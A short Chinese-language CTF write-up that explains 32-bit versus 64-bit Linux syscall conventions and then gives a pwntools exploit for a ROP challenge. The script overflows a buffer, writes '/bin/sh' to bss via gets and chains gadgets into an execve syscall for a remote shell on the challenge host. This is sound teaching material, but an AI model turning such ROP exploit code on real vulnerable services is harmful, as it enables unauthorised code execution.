32位和64位的syscall原理都是一样
只有传参和调用存在差异,以下一起说,做个对比
32位系统调用使用 " int 80h "
64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget--only查找即可)
32的系统调用号与64位的不大一样 使用的时候最好百度一下
比如
32位 #define __NR_execve 11
64位 #define __NR_execve 59
32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)
一个64位的题目
backdoor Weekly 1 Challenge 2
题目说的很清楚了 构造ROP chain
没有/bin/sh字眼 只能自己gets 到bss区域 然后调用execve
(想过使用shellcode 但是没找到合适的可执行地址)
from pwn import * # io=process('./chall') elf=ELF('./chall') io=remote('hack.bckdr.in',15102) # context(os='linux', arch='amd64', log_level='debug') # context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] # gdb.attach(proc.pidof(io)[0]) bss_addr=elf.bss() print 'bss_addr:'+hex(bss_addr) gets_addr=0x04086A0 main_addr=0x4010A0 start_addr=0x400F4E pop_rax=0x46b9f8 pop_rdi=0x4016c3 pop_rsi=0x4017d7 pop_rdx=0x4377d5 syscal=0x400488 payload='A'*0x28 payload+=p64(pop_rdi)+p64(bss_addr) payload+=p64(gets_addr) payload+=p64(main_addr) io.sendlineafter('Create a ROP chain for me ',payload) sleep(1) io.send('/bin/sh ') sleep(1) payload='A'*0x28 payload+=p64(pop_rax)+p64(59) payload+=p64(pop_rdi)+p64(bss_addr) payload+=p64(pop_rsi)+p64(0) payload+=p64(pop_rdx)+p64(0) payload+=p64(syscal) sleep(2) io.sendlineafter('Create a ROP chain for me ',payload) # io.send('/bin/sh ') io.interactive() # rax rdi rsi rdx # 59 sh 0 0